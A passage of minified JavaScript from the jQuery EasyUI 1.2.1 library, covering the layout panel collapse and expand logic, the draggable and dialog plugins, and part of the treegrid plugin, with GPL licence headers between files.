_17=$(">div.layout-split-proxy-h",_d); _17.css("left",e.pageX-$(_d).offset().left-_17.width()/2); } return false; },onStopResize:function(){ $(">div.layout-split-proxy-v",_d).css("display","none"); $(">div.layout-split-proxy-h",_d).css("display","none"); var _18=pp.panel("options"); _18.width=_11.outerWidth(); _18.height=_11.outerHeight(); _18.left=_11.css("left"); _18.top=_11.css("top"); pp.panel("resize"); _2(_d); _1=false; cc.find(">div.layout-mask").remove(); }}); } return pp; }; $("<div class=\"layout-split-proxy-h\"></div>").appendTo(cc); $("<div class=\"layout-split-proxy-v\"></div>").appendTo(cc); var _19={center:_e("center")}; _19.north=_e("north"); _19.south=_e("south"); _19.east=_e("east"); _19.west=_e("west"); $(_d).bind("_resize",function(){ var _1a=$.data(_d,"layout").options; if(_1a.fit==true){ _2(_d); } return false; }); return _19; }; function _1b(_1c,_1d){ var _1e=$.data(_1c,"layout").panels; var cc=$(_1c); function _1f(dir){ var _20; if(dir=="east"){ _20="layout-button-left"; }else{ if(dir=="west"){ _20="layout-button-right"; }else{ if(dir=="north"){ _20="layout-button-down"; }else{ if(dir=="south"){ _20="layout-button-up"; } } } } var p=$("<div></div>").appendTo(cc).panel({cls:"layout-expand",title:"&nbsp;",closed:true,doSize:false,tools:[{iconCls:_20,handler:function(){ _21(_1c,_1d); }}]}); p.panel("panel").hover(function(){ $(this).addClass("layout-expand-over"); },function(){ $(this).removeClass("layout-expand-over"); }); return p; }; if(_1d=="east"){ if(_1e.east.panel("options").onBeforeCollapse.call(_1e.east)==false){ return; } _1e.center.panel("resize",{width:_1e.center.panel("options").width+_1e.east.panel("options").width-28}); _1e.east.panel("panel").animate({left:cc.width()},function(){ _1e.east.panel("close"); _1e.expandEast.panel("open").panel("resize",{top:_1e.east.panel("options").top,left:cc.width()-28,width:28,height:_1e.east.panel("options").height}); _1e.east.panel("options").onCollapse.call(_1e.east); }); if(!_1e.expandEast){ _1e.expandEast=_1f("east"); _1e.expandEast.panel("panel").click(function(){ _1e.east.panel("open").panel("resize",{left:cc.width()}); _1e.east.panel("panel").animate({left:cc.width()-_1e.east.panel("options").width}); return false; }); } }else{ if(_1d=="west"){ if(_1e.west.panel("options").onBeforeCollapse.call(_1e.west)==false){ return; } _1e.center.panel("resize",{width:_1e.center.panel("options").width+_1e.west.panel("options").width-28,left:28}); _1e.west.panel("panel").animate({left:-_1e.west.panel("options").width},function(){ _1e.west.panel("close"); _1e.expandWest.panel("open").panel("resize",{top:_1e.west.panel("options").top,left:0,width:28,height:_1e.west.panel("options").height}); _1e.west.panel("options").onCollapse.call(_1e.west); }); if(!_1e.expandWest){ _1e.expandWest=_1f("west"); _1e.expandWest.panel("panel").click(function(){ _1e.west.panel("open").panel("resize",{left:-_1e.west.panel("options").width}); _1e.west.panel("panel").animate({left:0}); return false; }); } }else{ if(_1d=="north"){ if(_1e.north.panel("options").onBeforeCollapse.call(_1e.north)==false){ return; } var hh=cc.height()-28; if(_b(_1e.expandSouth)){ hh-=_1e.expandSouth.panel("options").height; }else{ if(_b(_1e.south)){ hh-=_1e.south.panel("options").height; } } _1e.center.panel("resize",{top:28,height:hh}); _1e.east.panel("resize",{top:28,height:hh}); _1e.west.panel("resize",{top:28,height:hh}); if(_b(_1e.expandEast)){ _1e.expandEast.panel("resize",{top:28,height:hh}); } if(_b(_1e.expandWest)){ _1e.expandWest.panel("resize",{top:28,height:hh}); } _1e.north.panel("panel").animate({top:-_1e.north.panel("options").height},function(){ _1e.north.panel("close"); _1e.expandNorth.panel("open").panel("resize",{top:0,left:0,width:cc.width(),height:28}); _1e.north.panel("options").onCollapse.call(_1e.north); }); if(!_1e.expandNorth){ _1e.expandNorth=_1f("north"); _1e.expandNorth.panel("panel").click(function(){ _1e.north.panel("open").panel("resize",{top:-_1e.north.panel("options").height}); _1e.north.panel("panel").animate({top:0}); return false; }); } }else{ if(_1d=="south"){ if(_1e.south.panel("options").onBeforeCollapse.call(_1e.south)==false){ return; } var hh=cc.height()-28; if(_b(_1e.expandNorth)){ hh-=_1e.expandNorth.panel("options").height; }else{ if(_b(_1e.north)){ hh-=_1e.north.panel("options").height; } } _1e.center.panel("resize",{height:hh}); _1e.east.panel("resize",{height:hh}); _1e.west.panel("resize",{height:hh}); if(_b(_1e.expandEast)){ _1e.expandEast.panel("resize",{height:hh}); } if(_b(_1e.expandWest)){ _1e.expandWest.panel("resize",{height:hh}); } _1e.south.panel("panel").animate({top:cc.height()},function(){ _1e.south.panel("close"); _1e.expandSouth.panel("open").panel("resize",{top:cc.height()-28,left:0,width:cc.width(),height:28}); _1e.south.panel("options").onCollapse.call(_1e.south); }); if(!_1e.expandSouth){ _1e.expandSouth=_1f("south"); _1e.expandSouth.panel("panel").click(function(){ _1e.south.panel("open").panel("resize",{top:cc.height()}); _1e.south.panel("panel").animate({top:cc.height()-_1e.south.panel("options").height}); return false; }); } } } } } }; function _21(_22,_23){ var _24=$.data(_22,"layout").panels; var cc=$(_22); if(_23=="east"&&_24.expandEast){ if(_24.east.panel("options").onBeforeExpand.call(_24.east)==false){ return; } _24.expandEast.panel("close"); _24.east.panel("panel").stop(true,true); _24.east.panel("open").panel("resize",{left:cc.width()}); _24.east.panel("panel").animate({left:cc.width()-_24.east.panel("options").width},function(){ _2(_22); _24.east.panel("options").onExpand.call(_24.east); }); }else{ if(_23=="west"&&_24.expandWest){ if(_24.west.panel("options").onBeforeExpand.call(_24.west)==false){ return; } _24.expandWest.panel("close"); _24.west.panel("panel").stop(true,true); _24.west.panel("open").panel("resize",{left:-_24.west.panel("options").width}); _24.west.panel("panel").animate({left:0},function(){ _2(_22); _24.west.panel("options").onExpand.call(_24.west); }); }else{ if(_23=="north"&&_24.expandNorth){ if(_24.north.panel("options").onBeforeExpand.call(_24.north)==false){ return; } _24.expandNorth.panel("close"); _24.north.panel("panel").stop(true,true); _24.north.panel("open").panel("resize",{top:-_24.north.panel("options").height}); _24.north.panel("panel").animate({top:0},function(){ _2(_22); _24.north.panel("options").onExpand.call(_24.north); }); }else{ if(_23=="south"&&_24.expandSouth){ if(_24.south.panel("options").onBeforeExpand.call(_24.south)==false){ return; } _24.expandSouth.panel("close"); _24.south.panel("panel").stop(true,true); _24.south.panel("open").panel("resize",{top:cc.height()}); _24.south.panel("panel").animate({top:cc.height()-_24.south.panel("options").height},function(){ _2(_22); _24.south.panel("options").onExpand.call(_24.south); }); } } } } }; function _25(_26){ var _27=$.data(_26,"layout").panels; var cc=$(_26); if(_27.east.length){ _27.east.panel("panel").bind("mouseover","east",_1b); } if(_27.west.length){ _27.west.panel("panel").bind("mouseover","west",_1b); } if(_27.north.length){ _27.north.panel("panel").bind("mouseover","north",_1b); } if(_27.south.length){ _27.south.panel("panel").bind("mouseover","south",_1b); } _27.center.panel("panel").bind("mouseover","center",_1b); function _1b(e){ if(_1==true){ return; } if(e.data!="east"&&_b(_27.east)&&_b(_27.expandEast)){ _27.east.panel("panel").animate({left:cc.width()},function(){ _27.east.panel("close"); }); } if(e.data!="west"&&_b(_27.west)&&_b(_27.expandWest)){ _27.west.panel("panel").animate({left:-_27.west.panel("options").width},function(){ _27.west.panel("close"); }); } if(e.data!="north"&&_b(_27.north)&&_b(_27.expandNorth)){ _27.north.panel("panel").animate({top:-_27.north.panel("options").height},function(){ _27.north.panel("close"); }); } if(e.data!="south"&&_b(_27.south)&&_b(_27.expandSouth)){ _27.south.panel("panel").animate({top:cc.height()},function(){ _27.south.panel("close"); }); } return false; }; }; function _b(pp){ if(!pp){ return false; } if(pp.length){ return pp.panel("panel").is(":visible"); }else{ return false; } }; $.fn.layout=function(_28,_29){ if(typeof _28=="string"){ return $.fn.layout.methods[_28](this,_29); } return this.each(function(){ var _2a=$.data(this,"layout"); if(!_2a){ var _2b=$.extend({},{fit:$(this).attr("fit")=="true"}); $.data(this,"layout",{options:_2b,panels:_c(this)}); _25(this); } _2(this); }); }; $.fn.layout.methods={resize:function(jq){ return jq.each(function(){ _2(this); }); },panel:function(jq,_2c){ return $.data(jq[0],"layout").panels[_2c]; },collapse:function(jq,_2d){ return jq.each(function(){ _1b(this,_2d); }); },expand:function(jq,_2e){ return jq.each(function(){ _21(this,_2e); }); }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(e){ var _2=$.data(e.data.target,"draggable").options; var _3=e.data; var _4=_3.startLeft+e.pageX-_3.startX; var _5=_3.startTop+e.pageY-_3.startY; if(_2.deltaX!=null&&_2.deltaX!=undefined){ _4=e.pageX+_2.deltaX; } if(_2.deltaY!=null&&_2.deltaY!=undefined){ _5=e.pageY+_2.deltaY; } if(e.data.parnet!=document.body){ if($.boxModel==true){ _4+=$(e.data.parent).scrollLeft(); _5+=$(e.data.parent).scrollTop(); } } if(_2.axis=="h"){ _3.left=_4; }else{ if(_2.axis=="v"){ _3.top=_5; }else{ _3.left=_4; _3.top=_5; } } }; function _6(e){ var _7=$.data(e.data.target,"draggable").options; var _8=$.data(e.data.target,"draggable").proxy; if(_8){ _8.css("cursor",_7.cursor); }else{ _8=$(e.data.target); $.data(e.data.target,"draggable").handle.css("cursor",_7.cursor); } _8.css({left:e.data.left,top:e.data.top}); }; function _9(e){ var _a=$.data(e.data.target,"draggable").options; var _b=$(".droppable").filter(function(){ return e.data.target!=this; }).filter(function(){ var _c=$.data(this,"droppable").options.accept; if(_c){ return $(_c).filter(function(){ return this==e.data.target; }).length>0; }else{ return true; } }); $.data(e.data.target,"draggable").droppables=_b; var _d=$.data(e.data.target,"draggable").proxy; if(!_d){ if(_a.proxy){ if(_a.proxy=="clone"){ _d=$(e.data.target).clone().insertAfter(e.data.target); }else{ _d=_a.proxy.call(e.data.target,e.data.target); } $.data(e.data.target,"draggable").proxy=_d; }else{ _d=$(e.data.target); } } _d.css("position","absolute"); _1(e); _6(e); _a.onStartDrag.call(e.data.target,e); return false; }; function _e(e){ _1(e); if($.data(e.data.target,"draggable").options.onDrag.call(e.data.target,e)!=false){ _6(e); } var _f=e.data.target; $.data(e.data.target,"draggable").droppables.each(function(){ var _10=$(this); var p2=$(this).offset(); if(e.pageX>p2.left&&e.pageX<p2.left+_10.outerWidth()&&e.pageY>p2.top&&e.pageY<p2.top+_10.outerHeight()){ if(!this.entered){ $(this).trigger("_dragenter",[_f]); this.entered=true; } $(this).trigger("_dragover",[_f]); }else{ if(this.entered){ $(this).trigger("_dragleave",[_f]); this.entered=false; } } }); return false; }; function _11(e){ _1(e); var _12=$.data(e.data.target,"draggable").proxy; var _13=$.data(e.data.target,"draggable").options; if(_13.revert){ if(_14()==true){ _15(); $(e.data.target).css({position:e.data.startPosition,left:e.data.startLeft,top:e.data.startTop}); }else{ if(_12){ _12.animate({left:e.data.startLeft,top:e.data.startTop},function(){ _15(); }); }else{ $(e.data.target).animate({left:e.data.startLeft,top:e.data.startTop},function(){ $(e.data.target).css("position",e.data.startPosition); }); } } }else{ $(e.data.target).css({position:"absolute",left:e.data.left,top:e.data.top}); _15(); _14(); } _13.onStopDrag.call(e.data.target,e); function _15(){ if(_12){ _12.remove(); } $.data(e.data.target,"draggable").proxy=null; }; function _14(){ var _16=false; $.data(e.data.target,"draggable").droppables.each(function(){ var _17=$(this); var p2=$(this).offset(); if(e.pageX>p2.left&&e.pageX<p2.left+_17.outerWidth()&&e.pageY>p2.top&&e.pageY<p2.top+_17.outerHeight()){ if(_13.revert){ $(e.data.target).css({position:e.data.startPosition,left:e.data.startLeft,top:e.data.startTop}); } $(this).trigger("_drop",[e.data.target]); _16=true; this.entered=false; } }); return _16; }; $(document).unbind(".draggable"); return false; }; $.fn.draggable=function(_18,_19){ if(typeof _18=="string"){ return $.fn.draggable.methods[_18](this,_19); } return this.each(function(){ var _1a; var _1b=$.data(this,"draggable"); if(_1b){ _1b.handle.unbind(".draggable"); _1a=$.extend(_1b.options,_18); }else{ _1a=$.extend({},$.fn.draggable.defaults,_18||{}); } if(_1a.disabled==true){ $(this).css("cursor","default"); return; } var _1c=null; if(typeof _1a.handle=="undefined"||_1a.handle==null){ _1c=$(this); }else{ _1c=(typeof _1a.handle=="string"?$(_1a.handle,this):_1c); } $.data(this,"draggable",{options:_1a,handle:_1c}); _1c.bind("mousedown.draggable",{target:this},_1d); _1c.bind("mousemove.draggable",{target:this},_1e); function _1d(e){ if(_1f(e)==false){ return; } var _20=$(e.data.target).position(); var _21={startPosition:$(e.data.target).css("position"),startLeft:_20.left,startTop:_20.top,left:_20.left,top:_20.top,startX:e.pageX,startY:e.pageY,target:e.data.target,parent:$(e.data.target).parent()[0]}; $(document).bind("mousedown.draggable",_21,_9); $(document).bind("mousemove.draggable",_21,_e); $(document).bind("mouseup.draggable",_21,_11); }; function _1e(e){ if(_1f(e)){ $(this).css("cursor",_1a.cursor); }else{ $(this).css("cursor","default"); } }; function _1f(e){ var _22=$(_1c).offset(); var _23=$(_1c).outerWidth(); var _24=$(_1c).outerHeight(); var t=e.pageY-_22.top; var r=_22.left+_23-e.pageX; var b=_22.top+_24-e.pageY; var l=e.pageX-_22.left; return Math.min(t,r,b,l)>_1a.edge; }; }); }; $.fn.draggable.methods={options:function(jq){ return $.data(jq[0],"draggable").options; },proxy:function(jq){ return $.data(jq[0],"draggable").proxy; },enable:function(jq){ return jq.each(function(){ $(this).draggable({disabled:false}); }); },disable:function(jq){ return jq.each(function(){ $(this).draggable({disabled:true}); }); }}; $.fn.draggable.defaults={proxy:null,revert:false,cursor:"move",deltaX:null,deltaY:null,handle:null,disabled:false,edge:0,axis:null,onStartDrag:function(e){ },onDrag:function(e){ },onStopDrag:function(e){ }}; })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var t=$(_2); t.wrapInner("<div class=\"dialog-content\"></div>"); var _3=t.find(">div.dialog-content"); _3.css("padding",t.css("padding")); t.css("padding",0); _3.panel({border:false,doSize:false}); return _3; }; function _4(_5){ var _6=$.data(_5,"dialog").options; var _7=$.data(_5,"dialog").contentPanel; $(_5).find("div.dialog-toolbar").remove(); $(_5).find("div.dialog-button").remove(); if(_6.toolbar){ var _8=$("<div class=\"dialog-toolbar\"></div>").prependTo(_5); for(var i=0;i<_6.toolbar.length;i++){ var p=_6.toolbar[i]; if(p=="-"){ _8.append("<div class=\"dialog-tool-separator\"></div>"); }else{ var _9=$("<a href=\"javascript:void(0)\"></a>").appendTo(_8); _9.css("float","left"); _9[0].onclick=eval(p.handler||function(){ }); _9.linkbutton($.extend({},p,{plain:true})); } } _8.append("<div style=\"clear:both\"></div>"); } if(_6.buttons){ var _a=$("<div class=\"dialog-button\"></div>").appendTo(_5); for(var i=0;i<_6.buttons.length;i++){ var p=_6.buttons[i]; var _b=$("<a href=\"javascript:void(0)\"></a>").appendTo(_a); if(p.handler){ _b[0].onclick=p.handler; } _b.linkbutton(p); } } var _c=_6.href; _6.href=null; $(_5).window($.extend({},_6,{onResize:function(_d,_e){ var _f=$(_5).panel("panel").find(">div.panel-body"); _7.panel("resize",{width:_f.width(),height:(_e=="auto")?"auto":_f.height()-_f.find(">div.dialog-toolbar").outerHeight()-_f.find(">div.dialog-button").outerHeight()}); if(_6.onResize){ _6.onResize.call(_5,_d,_e); } }})); _7.panel({href:_c,onLoad:function(){ if(_6.height=="auto"){ $(_5).window("resize"); } _6.onLoad.apply(_5,arguments); }}); _6.href=_c; }; function _10(_11){ var _12=$.data(_11,"dialog").contentPanel; _12.panel("refresh"); }; $.fn.dialog=function(_13,_14){ if(typeof _13=="string"){ var _15=$.fn.dialog.methods[_13]; if(_15){ return _15(this,_14); }else{ return this.window(_13,_14); } } _13=_13||{}; return this.each(function(){ var _16=$.data(this,"dialog"); if(_16){ $.extend(_16.options,_13); }else{ $.data(this,"dialog",{options:$.extend({},$.fn.dialog.defaults,$.fn.dialog.parseOptions(this),_13),contentPanel:_1(this)}); } _4(this); }); }; $.fn.dialog.methods={options:function(jq){ var _17=$.data(jq[0],"dialog").options; var _18=jq.panel("options"); $.extend(_17,{closed:_18.closed,collapsed:_18.collapsed,minimized:_18.minimized,maximized:_18.maximized}); var _19=$.data(jq[0],"dialog").contentPanel; return _17; },dialog:function(jq){ return jq.window("window"); },refresh:function(jq){ return jq.each(function(){ _10(this); }); }}; $.fn.dialog.parseOptions=function(_1a){ var t=$(_1a); return $.extend({},$.fn.window.parseOptions(_1a),{}); }; $.fn.dialog.defaults=$.extend({},$.fn.window.defaults,{title:"New Dialog",collapsible:false,minimizable:false,maximizable:false,resizable:false,toolbar:null,buttons:null}); })(jQuery);
JavaScript
/** * jQuery EasyUI 1.2.1 * * Licensed under the GPL: * http://www.gnu.org/licenses/gpl.txt * * Copyright 2010 stworthy [ stworthy@gmail.com ] * */ (function($){ function _1(_2){ var _3=$.data(_2,"treegrid").options; $(_2).datagrid($.extend({},_3,{url:null,onLoadSuccess:function(){ },onResizeColumn:function(_4,_5){ _6(_2); _3.onResizeColumn.call(_2,_4,_5); }})); }; function _6(_7,_8){ var _9=$.data(_7,"datagrid").options; var _a=$.data(_7,"datagrid").panel; var _b=_a.children("div.datagrid-view"); var _c=_b.children("div.datagrid-view1"); var _d=_b.children("div.datagrid-view2"); if(_9.rownumbers||(_9.frozenColumns&&_9.frozenColumns.length>0)){ if(_8){ _e(_8); _d.find("tr[node-id="+_8+"]").next("tr.treegrid-tr-tree").find("tr[node-id]").each(function(){ _e($(this).attr("node-id")); }); }else{ _d.find("tr[node-id]").each(function(){ _e($(this).attr("node-id")); }); } } if(_9.height=="auto"){ var _f=_d.find("div.datagrid-body table").height()+18; _c.find("div.datagrid-body").height(_f); _d.find("div.datagrid-body").height(_f); _b.height(_d.height()); } function _e(_10){ var tr1=_c.find("tr[node-id="+_10+"]"); var tr2=_d.find("tr[node-id="+_10+"]"); tr1.css("height",null); tr2.css("height",null); var _11=Math.max(tr1.height(),tr2.height()); tr1.css("height",_11); tr2.css("height",_11); }; }; function _12(_13){ var _14=$.data(_13,"treegrid").options; if(!_14.rownumbers){ return; } $(_13).datagrid("getPanel").find("div.datagrid-view1 div.datagrid-body div.datagrid-cell-rownumber").each(function(i){ $(this).html(i+1); }); }; function _15(_16){ var _17=$.data(_16,"treegrid").options; var _18=$(_16).datagrid("getPanel"); var _19=_18.find("div.datagrid-body"); _19.find("span.tree-hit").unbind(".treegrid").bind("click.treegrid",function(){ var tr=$(this).parent().parent().parent(); var id=tr.attr("node-id"); _99(_16,id); return false; }).bind("mouseenter.treegrid",function(){ if($(this).hasClass("tree-expanded")){ $(this).addClass("tree-expanded-hover"); }else{ $(this).addClass("tree-collapsed-hover"); } }).bind("mouseleave.treegrid",function(){ if($(this).hasClass("tree-expanded")){ $(this).removeClass("tree-expanded-hover"); }else{ $(this).removeClass("tree-collapsed-hover"); } }); _19.find("tr[node-id]").unbind(".treegrid").bind("mouseenter.treegrid",function(){ var id=$(this).attr("node-id"); _19.find("tr[node-id="+id+"]").addClass("datagrid-row-over"); }).bind("mouseleave.treegrid",function(){ var id=$(this).attr("node-id"); _19.find("tr[node-id="+id+"]").removeClass("datagrid-row-over"); }).bind("click.treegrid",function(){ var id=$(this).attr("node-id"); if(_17.singleSelect){ _1c(_16); _83(_16,id); }else{ if($(this).hasClass("datagrid-row-selected")){ _87(_16,id); }else{ _83(_16,id); } } _17.onClickRow.call(_16,_42(_16,id)); return false; }).bind("dblclick.treegrid",function(){ var id=$(this).attr("node-id"); _17.onDblClickRow.call(_16,_42(_16,id)); return false; }).bind("contextmenu.treegrid",function(e){ var id=$(this).attr("node-id"); _17.onContextMenu.call(_16,e,_42(_16,id)); }); _19.find("div.datagrid-cell-check input[type=checkbox]").unbind(".treegrid").bind("click.treegrid",function(e){ var id=$(this).parent().parent().parent().attr("node-id"); if(_17.singleSelect){ _1c(_16); _83(_16,id); }else{ if($(this).attr("checked")){ _83(_16,id); }else{ _87(_16,id); } } e.stopPropagation(); }); var _1a=_18.find("div.datagrid-header"); _1a.find("input[type=checkbox]").unbind().bind("click.treegrid",function(){ if(_17.singleSelect){ return false; } if($(this).attr("checked")){ _1b(_16); }else{ _1c(_16); } }); }; function _1d(_1e,_1f){ var _20=$.data(_1e,"datagrid").options; var _21=$(_1e).datagrid("getPanel").children("div.datagrid-view"); var _22=_21.children("div.datagrid-view1"); var _23=_21.children("div.datagrid-view2"); var tr1=_22.children("div.datagrid-body").find("tr[node-id="+_1f+"]"); var tr2=_23.children("div.datagrid-body").find("tr[node-id="+_1f+"]"); var _24=tr1.next("tr.treegrid-tr-tree"); var _25=tr2.next("tr.treegrid-tr-tree"); var _26=_24.children("td").find("div"); var _27=_25.children("td").find("div"); var td1=tr1.find("td[field="+_20.treeField+"]"); var td2=tr2.find("td[field="+_20.treeField+"]"); var _28=td1.find("span.tree-indent,span.tree-hit").length+td2.find("span.tree-indent,span.tree-hit").length; return [_26,_27,_28]; }; function _29(_2a,_2b){ var _2c=$.data(_2a,"treegrid").options; var _2d=$(_2a).datagrid("getPanel").children("div.datagrid-view"); var _2e=_2d.children("div.datagrid-view1"); var _2f=_2d.children("div.datagrid-view2"); var tr1=_2e.children("div.datagrid-body").find("tr[node-id="+_2b+"]"); var tr2=_2f.children("div.datagrid-body").find("tr[node-id="+_2b+"]"); var _30=$(_2a).datagrid("getColumnFields",true).length+(_2c.rownumbers?1:0); var _31=$(_2a).datagrid("getColumnFields",false).length; _32(tr1,_30); _32(tr2,_31); function _32(tr,_33){ $("<tr class=\"treegrid-tr-tree\">"+"<td style=\"border:0px\" colspan=\""+_33+"\">"+"<div></div>"+"</td>"+"</tr>").insertAfter(tr); }; }; function _34(_35,_36,_37,_38){ var _39=$.data(_35,"treegrid").options; var _3a=$.data(_35,"datagrid").panel; var _3b=_3a.children("div.datagrid-view"); var _3c=_3b.children("div.datagrid-view1"); var _3d=_3b.children("div.datagrid-view2"); var _3e=$(_35).datagrid("getColumnFields",true); var _3f=$(_35).datagrid("getColumnFields",false); _40(_37,_36); var _41=_42(_35,_36); if(_41){ if(_41.children){ _41.children=_41.children.concat(_37); }else{ _41.children=_37; } var _43=_1d(_35,_36); var cc1=_43[0]; var cc2=_43[1]; var _44=_43[2]; }else{ $.data(_35,"treegrid").data=$.data(_35,"treegrid").data.concat(_37); var cc1=_3c.children("div.datagrid-body").children("div.datagrid-body-inner"); var cc2=_3d.children("div.datagrid-body"); var _44=0; } if(!_38){ $.data(_35,"treegrid").data=_37; cc1.empty(); cc2.empty(); } var _45=_46(_37,_44); cc1.html(cc1.html()+_45[0].join("")); cc2.html(cc2.html()+_45[1].join("")); _39.onLoadSuccess.call(_35,_41,_37); _6(_35); _12(_35); _47(); _15(_35); function _40(_48,_49){ for(var i=0;i<_48.length;i++){ var row=_48[i]; row._parentId=_49; if(row.children&&row.children.length){ _40(row.children,row[_39.idField]); } } }; function _46(_4a,_4b){ var _4c=["<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><tbody>"]; var _4d=["<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"><tbody>"]; var _4e=[_4c,_4d]; for(var i=0;i<_4a.length;i++){ var row=_4a[i]; if(row.state!="open"&&row.state!="closed"){ row.state="open"; } _4e[0]=_4e[0].concat(_4f(row,_3e,_4b,_39.rownumbers)); _4e[1]=_4e[1].concat(_4f(row,_3f,_4b)); if(row.children&&row.children.length){ var tt=_46(row.children,_4b+1); var v=row.state=="closed"?"none":"block"; _4e[0].push("<tr class=\"treegrid-tr-tree\"><td style=\"border:0px\" colspan="+(_3e.length+(_39.rownumbers?1:0))+"><div style=\"display:"+v+"\">"); _4e[0]=_4e[0].concat(tt[0]); _4e[0].push("</div></td></tr>"); _4e[1].push("<tr class=\"treegrid-tr-tree\"><td style=\"border:0px\" colspan="+_3f.length+"><div style=\"display:"+v+"\">"); _4e[1]=_4e[1].concat(tt[1]); _4e[1].push("</div></td></tr>"); } } _4e[0].push("</tbody></table>"); _4e[1].push("</tbody></table>"); return _4e; }; function _4f(row,_50,_51,_52){ var _53=["<tr node-id="+row[_39.idField]+">"]; if(_52){ _53.push("<td class=\"datagrid-td-rownumber\"><div class=\"datagrid-cell-rownumber\">0</div></td>"); } for(var i=0;i<_50.length;i++){ var _54=_50[i]; var col=$(_35).datagrid("getColumnOption",_54); if(col){ var _55="width:"+(col.boxWidth)+"px;"; _55+="text-align:"+(col.align||"left")+";"; _55+=_39.nowrap==false?"white-space:normal;":""; _53.push("<td field=\""+_54+"\">"); _53.push("<div style=\""+_55+"\" "); if(col.checkbox){ _53.push("class=\"datagrid-cell-check "); }else{ _53.push("class=\"datagrid-cell "); } _53.push("\">"); if(col.checkbox){ if(row.checked){ _53.push("<input type=\"checkbox\" checked=\"checked\"/>"); }else{ _53.push("<input type=\"checkbox\"/>"); } } var val=null; if(col.formatter){ val=col.formatter(row[_54],row); }else{ val=row[_54]||"&nbsp;"; } if(_54==_39.treeField){ for(var j=0;j<_51;j++){ _53.push("<span class=\"tree-indent\"></span>"); } if(row.state=="closed"){ _53.push("<span class=\"tree-hit tree-collapsed\"></span>"); _53.push("<span class=\"tree-icon tree-folder "+(row.iconCls?row.iconCls:"")+"\"></span>"); }else{ if(row.children&&row.children.length){ _53.push("<span class=\"tree-hit tree-expanded\"></span>"); _53.push("<span class=\"tree-icon tree-folder tree-folder-open "+(row.iconCls?row.iconCls:"")+"\"></span>"); }else{ _53.push("<span class=\"tree-indent\"></span>"); _53.push("<span class=\"tree-icon tree-file "+(row.iconCls?row.iconCls:"")+"\"></span>"); } } _53.push("<span class=\"tree-title\">"+val+"</span>"); }else{ _53.push(val); } _53.push("</div>"); _53.push("</td>"); } } _53.push("</tr>"); return _53; }; function _47(){ var _56=_3b.find("div.datagrid-header"); var _57=_3b.find("div.datagrid-body"); var _58=_56.find("div.datagrid-header-check"); if(_58.length){ var ck=_57.find("div.datagrid-cell-check"); if($.boxModel){ ck.width(_58.width()); ck.height(_58.height()); }else{ ck.width(_58.outerWidth()); ck.height(_58.outerHeight()); } } }; }; function _59(_5a,_5b,_5c,_5d,_5e){ var _5f=$.data(_5a,"treegrid").options; var _60=$(_5a).datagrid("getPanel").find("div.datagrid-body"); if(_5c){ _5f.queryParams=_5c; } var _61=$.extend({},_5f.queryParams); var row=_42(_5a,_5b); if(_5f.onBeforeLoad.call(_5a,row,_61)==false){ return; } if(!_5f.url){ return; } var _62=_60.find("tr[node-id="+_5b+"] span.tree-folder"); _62.addClass("tree-loading"); $.ajax({type:_5f.method,url:_5f.url,data:_61,dataType:"json",success:function(_63){ _62.removeClass("tree-loading"); _34(_5a,_5b,_63,_5d); if(_5e){ _5e(); } },error:function(){ _62.removeClass("tree-loading"); _5f.onLoadError.apply(_5a,arguments); if(_5e){ _5e(); } }}); }; function _64(_65){ var _66=_67(_65); if(_66.length){ return _66[0]; }else{ return null; } }; function _67(_68){ return $.data(_68,"treegrid").data; }; function _69(_6a,_6b){ var row=_42(_6a,_6b); if(row._parentId){ return _42(_6a,row._parentId); }else{ return null; } }; function _6c(_6d,_6e){ var _6f=$.data(_6d,"treegrid").options; var _70=$(_6d).datagrid("getPanel").find("div.datagrid-view2 div.datagrid-body"); var _71=[]; if(_6e){ _72(_6e); }else{ var _73=_67(_6d); for(var i=0;i<_73.length;i++){ _71.push(_73[i]); _72(_73[i][_6f.idField]); } } function _72(_74){ var _75=_42(_6d,_74); if(_75&&_75.children){ for(var i=0,len=_75.children.length;i<len;i++){ var _76=_75.children[i]; _71.push(_76); _72(_76[_6f.idField]); } } }; return _71; }; function _77(_78){ var _79=_7a(_78); if(_79.length){ return _79[0]; }else{ return null; } }; function _7a(_7b){ var _7c=[]; var _7d=$(_7b).datagrid("getPanel"); _7d.find("div.datagrid-view2 div.datagrid-body tr.datagrid-row-selected").each(function(){ var id=$(this).attr("node-id"); _7c.push(_42(_7b,id)); }); return _7c; }; function _42(_7e,_7f){ var _80=$.data(_7e,"treegrid").options; var _81=$.data(_7e,"treegrid").data; var cc=[_81]; while(cc.length){ var c=cc.shift(); for(var i=0;i<c.length;i++){ var _82=c[i]; if(_82[_80.idField]==_7f){ return _82; }else{ if(_82["children"]){ cc.push(_82["children"]); } } } } return null; }; function _83(_84,_85){ var _86=$(_84).datagrid("getPanel").find("div.datagrid-body"); var tr=_86.find("tr[node-id="+_85+"]"); tr.addClass("datagrid-row-selected"); tr.find("div.datagrid-cell-check input[type=checkbox]").attr("checked",true); }; function _87(_88,_89){ var _8a=$(_88).datagrid("getPanel").find("div.datagrid-body"); var tr=_8a.find("tr[node-id="+_89+"]"); tr.removeClass("datagrid-row-selected"); tr.find("div.datagrid-cell-check input[type=checkbox]").attr("checked",false); }; function _1b(_8b){ var tr=$(_8b).datagrid("getPanel").find("div.datagrid-body tr[node-id]"); tr.addClass("datagrid-row-selected"); tr.find("div.datagrid-cell-check input[type=checkbox]").attr("checked",true); }; function _1c(_8c){ var tr=$(_8c).datagrid("getPanel").find("div.datagrid-body tr[node-id]"); tr.removeClass("datagrid-row-selected"); tr.find("div.datagrid-cell-check input[type=checkbox]").attr("checked",false); }; function _8d(_8e,_8f){ var _90=$.data(_8e,"treegrid").options; var _91=$(_8e).datagrid("getPanel").find("div.datagrid-body"); var row=_42(_8e,_8f); var tr=_91.find("tr[node-id="+_8f+"]"); var hit=tr.find("span.tree-hit"); if(hit.length==0){ return; } if(hit.hasClass("tree-collapsed")){ return; } if(_90.onBeforeCollapse.call(_8e,row)==false){ return; } hit.removeClass("tree-expanded tree-expanded-hover").addClass("tree-collapsed"); hit.next().removeClass("tree-folder-open"); row.state="closed"; 